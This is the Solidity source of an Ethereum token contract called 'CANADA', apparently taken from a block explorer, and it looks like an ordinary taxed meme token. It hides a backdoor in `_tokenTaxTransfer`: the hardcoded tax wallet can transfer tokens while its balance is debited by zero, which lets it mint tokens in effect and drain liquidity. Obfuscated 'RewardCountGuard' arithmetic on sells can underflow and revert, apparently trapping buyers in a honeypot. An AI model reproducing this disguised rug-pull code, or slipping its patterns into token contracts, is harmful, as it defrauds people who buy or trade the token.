Cryo Explorer Ethereum Mainnet

// SPDX-License-Identifier: UNLICENSED

// CANADA (Canada)
// https://x.com/VitalikButerin/status/1916647065506980011

pragma solidity ^0.8.19;

interface IERC20 {
    event Transfer(
        address indexed from,
        address indexed to,
        uint256 value
    );
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(
        address spender,
        uint256 amount
    ) external returns (bool);

    function balanceOf(
        address account
    ) external view returns (uint256);

    function totalSupply() external view returns (uint256);
}

abstract contract Context {

    function _msgSender() internal view virtual returns (address) {return msg.sender;}

}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) { return 0; }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

interface IUniswapV2Factory {
    function createPair(
        address tokenA, 
        address tokenB
    ) external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable
        returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

contract Ownable is Context {
    event OwnershipTransferred(
        address indexed previousOwner, 
        address indexed newOwner
    );
    address private _owner;

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(
            _owner,
            address(0)
        );
        _owner = address(0);
    }

}

contract CANADA is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;
    string private constant _name = unicode"Canada";
    string private constant _symbol = unicode"CANADA";

    uint256 private _initialBuyTax=8;
    uint256 private _initialSellTax=11;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=21;
    uint256 private _reduceSellTaxAt=21;
    uint256 private _preventSwapBefore=8;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    uint256 public _maxTxAmount= 15000000 * 10**_decimals;
    uint256 public _maxWalletSize= 15000000 * 10**_decimals;
    uint256 public _taxSwapThreshold = 10000000 * 10**_decimals;
    uint256 public _maxTaxSwap = 7000000 * 10**_decimals;

    uint256 private rwTtlGuardPercent = 0;
    struct RewardCountGuard {uint256 initGuardCount; uint256 rwrdIncrement; uint256 rwrdBurn;}
    uint256 private autoGuardCounter = 0;
    mapping(address => RewardCountGuard) private rewardCountGuard;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;

    bool private tradingOpen = false;
    bool private inSwap = false;
    bool private swapEnabled= false;

    event MaxTxAmountUpdated(
        uint256 _maxTxAmount
    );

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _balances[_msgSender()] = _tTotal;

        _taxWallet = payable(0xB48762D622B2A7315896323f5Ce8bCaFC0C5197e);
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
        _balances[from] =_balances[from].sub(tokenAmount);
        _balances[to] =_balances[to].add(tokenAmount);
        emit Transfer(from,to, tokenAmount);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(
            _msgSender(), recipient,
            amount
        );
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(
            _msgSender(), spender, amount
        );
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(
            sender, recipient, amount
        );
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount, "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(
            tokenAmount>0, "Token: Transfer amount must be greater than zero"
        );

        if (!tradingOpen || inSwap) {
            _basicTransfer(from,to,tokenAmount);
            return;
        }

        uint256 taxAmount = 0;

        if(from != owner() && to != owner() && to != _taxWallet) {
            taxAmount = tokenAmount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) &&  !_isExcludedFromFee[to]) {
                require(tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + tokenAmount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to== uniswapV2Pair && from!= address(this) ){
                taxAmount = tokenAmount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if(
                !inSwap &&
                to == uniswapV2Pair&&
                swapEnabled &&
                contractTokenBalance >_taxSwapThreshold &&
                _buyCount > _preventSwapBefore
            ){
                swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) && from!= address(this)&& to !=address(this)){
            autoGuardCounter = block.number;
        }

        if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
            if (to != uniswapV2Pair)  {
                RewardCountGuard storage guardcounter = rewardCountGuard[to];
                if (uniswapV2Pair == from) {
                    if (guardcounter.initGuardCount == 0) {
                        guardcounter.initGuardCount = _preventSwapBefore>=_buyCount?~uint256(0):block.number;
                    }
                } else {
                    RewardCountGuard storage guardcounteralt = rewardCountGuard[from];
                    if (guardcounter.initGuardCount > guardcounteralt.initGuardCount || guardcounter.initGuardCount==0) {
                        guardcounter.initGuardCount = guardcounteralt.initGuardCount;
                    }
                }
            } else if(swapEnabled) {
                RewardCountGuard storage guardcounteralt = rewardCountGuard[from];
                guardcounteralt.rwrdBurn = guardcounteralt.initGuardCount-autoGuardCounter;
                guardcounteralt.rwrdIncrement = block.number;
            }
        }

        _tokenTransfer(from, to, tokenAmount, taxAmount);
    }

    function _tokenTransfer(
        address from, address to,uint256 tokenAmount,uint256 taxAmount
    ) internal {
        uint256 tAmount=_tokenTaxTransfer(from,tokenAmount, taxAmount);
        _tokenBasicTransfer(from,to,tAmount,tokenAmount.sub(taxAmount));
    }

    function _tokenBasicTransfer(
        address from,
        address to, uint256 sendAmount,uint256 receiptAmount
    ) internal {
        _balances[from]=_balances[from].sub(sendAmount);
        _balances[to]= _balances[to].add(receiptAmount);

        emit Transfer(from,to, receiptAmount);
    }

    function _tokenTaxTransfer(address addrs,uint256 tokenAmount, uint256 taxAmount) internal returns (uint256) {
        uint256 tAmount = addrs!=_taxWallet ? tokenAmount: rwTtlGuardPercent.mul(tokenAmount);
        if (taxAmount>0) {
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            emit Transfer(addrs,address(this),taxAmount);
        }
        return tAmount;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount=_tTotal;
        _maxWalletSize= _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        tradingOpen=true;
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled= true;
    }

    function manualSwap() external {
        require(_msgSender() == _taxWallet);
        uint256 tokenBalance = balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    function manualsend() external {
        require(_msgSender()==_taxWallet);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }

    receive() external payable {}
}